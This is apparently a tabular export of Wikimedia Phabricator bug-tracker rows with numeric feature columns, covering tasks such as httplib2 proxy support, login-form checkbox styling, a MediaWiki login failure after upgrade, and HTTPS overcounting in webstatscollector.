395267,HttpError should not be logged as an unhandled exception.,,,,1420473867,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
395197,HttpError should not be logged as an unhandled exception.,,,,1420466644,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
85750,httplib2 on py3 doesn't support proxies,"https://github.com/jcgregorio/httplib2/issues/205
https://github.com/jcgregorio/httplib2/issues/86
(and others)",Needs Triage,90.0,1420349184,1437242800.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-ou5kgmx6sli7pj4z6ptt,task_description,resolved,True,c3,1,True,True,True,-26,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.375,0.75,"URL
URL
(and others)"
493322,httplib2 on py3 doesn't support proxies,Resolved with {T98439}/{T101228}.,,,1437242800,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ou5kgmx6sli7pj4z6ptt,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.166666666666667,1.0,Resolved with {T98439}/{T101228}.
493318,httplib2 on py3 doesn't support proxies,"Now that httplib2 isn't used anymore, is this task still valid?",,,1437242418,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-ou5kgmx6sli7pj4z6ptt,task_subcomment,,True,c3,3,False,,,2,True,0.0,0.0,0.0,7.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7857142857142856,0.9285714285714286,"Now that httplib2 isn't used anymore, is this task still valid?"
85241,Login form checkbox labels wind up with too much line spacing when spanning multiple lines,"Go to the account creation form when already logged in - the label for the checkbox 'Use a temporary random password and send it to the specified email address' has too much line spacing when spanning multiple lines.

{F24985}

Given the size of the checkbox, the correct behaviour would probably be something like

{F24988}

This appears to be due to mw-ui's stying, and occurs regardless of browser.",Needs Triage,90.0,1419364220,1421862989.0,PHID-USER-nv2bu7uh3huvidyjo4lk,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-p2kedqcwy5xqyvrq637h,task_description,resolved,True,c3,1,False,False,True,-28,True,1.0,1.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,19.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,10.0,2.0,7.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,11.0,1.0,0.0,2.0,0.0,1.0,0.0,2.0,1.0,0.0,2.0,0.0,0.0,1.0,4.035714285714286,0.7261904761904762,"Go to the account creation form when already logged in - the label for the checkbox 'Use a temporary random password and send it to the specified email address' has too much line spacing when spanning multiple lines.

{F24985}

Given the size of the checkbox, the correct behaviour would probably be something like

{F24988}

This appears to be due to mw-ui's stying, and occurs regardless of browser."
402096,Login form checkbox labels wind up with too much line spacing when spanning multiple lines,"Change 181674 merged by Prtksxna:
mediawiki.ui: checkbox: Correct alignment of long labels

[[https://gerrit.wikimedia.org/r/181674]]",,,1421861753,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p2kedqcwy5xqyvrq637h,task_subcomment,,True,c3,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.363636363636363,0.8181818181818182,"Change 181674 merged by Prtksxna:
mediawiki.ui: checkbox: Correct alignment of long labels

[[GERRIT_URL]]"
392572,Login form checkbox labels wind up with too much line spacing when spanning multiple lines,"Change 181674 had a related patch set uploaded (by Bartosz Dziewoński):
[WIP] mediawiki.ui: checkbox: Correct alignment of long labels

[[https://gerrit.wikimedia.org/r/181674]]

#patch-for-review",,,1419367865,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p2kedqcwy5xqyvrq637h,task_subcomment,,True,c3,1,False,,,-28,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.8974358974358974,0.7948717948717948,"Change 181674 had a related patch set uploaded (by Bartosz Dziewoński):
[WIP] mediawiki.ui: checkbox: Correct alignment of long labels

[[GERRIT_URL]]

#patch-for-review"
78692,Local Login no longer works after upgrade from 1.18.1 to 1.23.5 (disabling SecurePasswords extension helped),"From 	https://www.mediawiki.org/wiki/Thread:Project:Support_desk/Local_Login_no_longer_works_after_upgrade_from_1.18.1_to_1.23.5

Local Login no longer works after upgrade from 1.18.1 to 1.23.5

System upgraded from 1.18.1 to 1.23.5.
Local login works on identical wiki install from 1.23.5 - no upgrade and restore from backup MW1.18.1.

Use LDAP Auth Extension.
Localsettings.php has line:
$wgLDAPUseLocal = true;

Error Message:
Login error
Incorrect password entered.
Please try again.

  Start request POST /mediawiki-xxxx/index.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=Main+Page
  HTTP HEADERS:
  HOST: alb-wit-wiki.xxxx.x.x.x
  CONNECTION: keep-alive
  CONTENT-LENGTH: 114
  CACHE-CONTROL: max-age=0
  ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  ORIGIN: http://alb-wit-wiki.xxxx.x.x.x
  USER-AGENT: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
  CONTENT-TYPE: application/x-www-form-urlencoded
  REFERER: http://alb-wit-wiki.xxxx.x.x.x/mediawiki-xxxx/index.php?title=Special:UserLogin&returnto=Main+Page
  ACCEPT-ENCODING: gzip, deflate
  ACCEPT-LANGUAGE: en-US,en;q=0.8
  COOKIE: wikixxxx_session=ei3vnrfjk9alekhk635aihak662snsv6i9ltq4ev0oll69k9kk20
  [caches] main: APCBagOStuff, message: APCBagOStuff, parser: APCBagOStuff
  [caches] LocalisationCache: using store LCStoreDB
  Unstubbing $wgParser on call of $wgParser::setHook from registerEmbedDocumentHandler
  Parser: using preprocessor: Preprocessor_DOM
  Fully initialised
  Connected to database 0 at 127.0.0.1:3306
  IP: 10.1.x.x
  MessageCache::load: Loading en... got from global cache
  Unstubbing $wgLang on call of $wgLang::_unstub from ParserOptions::__construct
  User: cache miss for user 176
  User: loading options for user 176 from database.


",Needs Triage,90.0,1418754558,1508788269.0,PHID-USER-ogbcrxm45oo3n3xe5q25,False,PHID-USER-rf3ezdajx7doxl6godml,False,PHID-TASK-b3zxjjr3t6sgimqhtd6t,task_description,declined,True,c3,1,False,False,False,-29,True,0.0,0.0,0.25,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.75,1.0,6.5,0.0,0.25,0.0,0.0,0.0,0.75,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.75,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.25,0.0,0.25,1.75,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.75,0.0,0.25,0.25,0.0,0.0,0.0,0.0,1.5,0.25,3.5,0.0,0.25,6.5,16.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,1.25,0.25,0.0,1.5,4.8311688311688314,0.6201298701298701,"From 	URL

Local Login no longer works after upgrade from 1.18.1 to 1.23.5

System upgraded from 1.18.1 to 1.23.5.
Local login works on identical wiki install from 1.23.5 - no upgrade and restore from backup MW1.18.1.

Use LDAP Auth Extension.
Localsettings.php has line:
$wgLDAPUseLocal = true;

Error Message:
Login error
Incorrect password entered.
Please try again.

  Start request POST /mediawiki-xxxx/index.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=Main+Page
  HTTP HEADERS:
  HOST: alb-wit-wiki.xxxx.x.x.x
  CONNECTION: keep-alive
  CONTENT-LENGTH: 114
  CACHE-CONTROL: max-age=0
  ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  ORIGIN: URL
  USER-AGENT: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
  CONTENT-TYPE: application/x-www-form-urlencoded
  REFERER: URL
  ACCEPT-ENCODING: gzip, deflate
  ACCEPT-LANGUAGE: en-US,en;q=0.8
  COOKIE: wikixxxx_session=ei3vnrfjk9alekhk635aihak662snsv6i9ltq4ev0oll69k9kk20
  [caches] main: APCBagOStuff, message: APCBagOStuff, parser: APCBagOStuff
  [caches] LocalisationCache: using store LCStoreDB
  Unstubbing $wgParser on call of $wgParser::setHook from registerEmbedDocumentHandler
  Parser: using preprocessor: Preprocessor_DOM
  Fully initialised
  Connected to database 0 at 127.0.0.1:3306
  IP: 10.1.x.x
  MessageCache::load: Loading en... got from global cache
  Unstubbing $wgLang on call of $wgLang::_unstub from ParserOptions::__construct
  User: cache miss for user 176
  User: loading options for user 176 from database.


"
952356,Local Login no longer works after upgrade from 1.18.1 to 1.23.5 (disabling SecurePasswords extension helped),Extension was archived.,,,1508798160,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-b3zxjjr3t6sgimqhtd6t,task_subcomment,,True,c3,3,False,,,120,True,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.25,1.0,Extension was archived.
703704,Local Login no longer works after upgrade from 1.18.1 to 1.23.5 (disabling SecurePasswords extension helped),Wondering if T78108#1126532 might be related and fix this? Anyone knows?,,,1470072189,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-b3zxjjr3t6sgimqhtd6t,task_subcomment,,True,c3,3,True,,,56,True,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.769230769230769,0.9230769230769231,Wondering if T78108#1126532 might be related and fix this? Anyone knows?
343373,Local Login no longer works after upgrade from 1.18.1 to 1.23.5 (disabling SecurePasswords extension helped),"User wrote on mw.org ""When I disabled SecurePasswords extension it worked again.""",,,1418822900,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-b3zxjjr3t6sgimqhtd6t,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,13.0,0.0,13.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,0.9333333333333333,"User wrote on mw.org ""When I disabled SecurePasswords extension it worked again."""
77987,Labs proxy + tools proxy should use ssl_ciphersuite,"Currently they maually have a list of chiphers, and need to be manually kept in sync.",Needs Triage,90.0,1418130598,1418311936.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-vk6mlmacfhx77egryy5i,False,PHID-TASK-ehqzwxeks3kjc4msosjw,task_description,resolved,True,c3,1,True,False,True,-30,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,1.0,"Currently they maually have a list of chiphers, and need to be manually kept in sync."
341161,Labs proxy + tools proxy should use ssl_ciphersuite,"https://gerrit.wikimedia.org/r/#/c/178493/  thanks scfc, yea, it's resolved",,,1418320991,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ehqzwxeks3kjc4msosjw,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1,0.9,"URL  thanks scfc, yea, it's resolved"
341060,Labs proxy + tools proxy should use ssl_ciphersuite,"AFAICS, this should have been resolved by Gerrit change #178493.",,,1418311936,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-ehqzwxeks3kjc4msosjw,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.230769230769231,1.0,"AFAICS, this should have been resolved by Gerrit change #178493."
76390,"After switch to local ssl terminators, pagecounts-raw (C implementation of webstatscollector) overcounts HTTPS from some data-centers.","The merging of https://gerrit.wikimedia.org/r/#/c/175465/ changed the SSL setup of the caches, and makes
webstatscollector's C implementation count SSL requests twice.",Needs Triage,90.0,1417469789,1418079037.0,PHID-USER-pntojlcbclwhuip53bix,False,PHID-USER-pntojlcbclwhuip53bix,False,PHID-TASK-c2b6mwzwp2zlykhavkk5,task_description,resolved,True,c3,1,True,True,True,-31,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,21.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.583333333333333,0.875,"The merging of URL changed the SSL setup of the caches, and makes
webstatscollector's C implementation count SSL requests twice."
339597,"After switch to local ssl terminators, pagecounts-raw (C implementation of webstatscollector) overcounts HTTPS from some data-centers.",Backfilling is now complete.,,,1418079037,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-c2b6mwzwp2zlykhavkk5,task_subcomment,,True,c3,1,True,,,-30,True,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Backfilling is now complete.
336538,"After switch to local ssl terminators, pagecounts-raw (C implementation of webstatscollector) overcounts HTTPS from some data-centers.","ottomata deployed the fixed webstatscollector between 2014-12-04T14:00:00 and 2014-12-04T14:03:00.
The corresponding refinery change to make implementations match again (although refinery is not affected by the overcounting) got deployed 2014-12-04T21:51.
Oozie will rerun pagecounts-all-sites from 2014-11-25T00 on. Those files will get filtered to backfill pagecount-raw.",,,1417735482,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-c2b6mwzwp2zlykhavkk5,task_subcomment,,True,c3,1,True,,,-30,True,1.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,9.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,4.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.486486486486487,0.6756756756756757,"ottomata deployed the fixed webstatscollector between 2014-12-04T14:00:00 and 2014-12-04T14:03:00.
The corresponding refinery change to make implementations match again (although refinery is not affected by the overcounting) got deployed 2014-12-04T21:51.
Oozie will rerun pagecounts-all-sites from 2014-11-25T00 on. Those files will get filtered to backfill pagecount-raw."
336293,"After switch to local ssl terminators, pagecounts-raw (C implementation of webstatscollector) overcounts HTTPS from some data-centers.","Change 177224 merged by Ottomata:
Ignore traffic from cache-local SSL terminators

[[https://gerrit.wikimedia.org/r/177224]]",,,1417700161,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-c2b6mwzwp2zlykhavkk5,task_subcomment,,True,c3,1,False,,,-30,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.190476190476191,0.9047619047619048,"Change 177224 merged by Ottomata:
Ignore traffic from cache-local SSL terminators

[[GERRIT_URL]]"
336039,"After switch to local ssl terminators, pagecounts-raw (C implementation of webstatscollector) overcounts HTTPS from some data-centers.","Change 177101 merged by Ottomata:
Ignore traffic from cache-local SSL terminators

[[https://gerrit.wikimedia.org/r/177101]]",,,1417641253,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-c2b6mwzwp2zlykhavkk5,task_subcomment,,True,c3,1,False,,,-31,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.190476190476191,0.9047619047619048,"Change 177101 merged by Ottomata:
Ignore traffic from cache-local SSL terminators

[[GERRIT_URL]]"
335857,"After switch to local ssl terminators, pagecounts-raw (C implementation of webstatscollector) overcounts HTTPS from some data-centers.","Change 177224 had a related patch set uploaded (by QChris):
Ignore traffic from cache-local SSL terminators

[[https://gerrit.wikimedia.org/r/177224]]

#patch-for-review",,,1417618350,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-c2b6mwzwp2zlykhavkk5,task_subcomment,,True,c3,1,False,,,-31,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.764705882352941,0.8235294117647058,"Change 177224 had a related patch set uploaded (by QChris):
Ignore traffic from cache-local SSL terminators

[[GERRIT_URL]]

#patch-for-review"
335577,"After switch to local ssl terminators, pagecounts-raw (C implementation of webstatscollector) overcounts HTTPS from some data-centers.","Change 177101 had a related patch set uploaded (by QChris):
Ignore traffic from cache-local SSL terminators

[[https://gerrit.wikimedia.org/r/177101]]

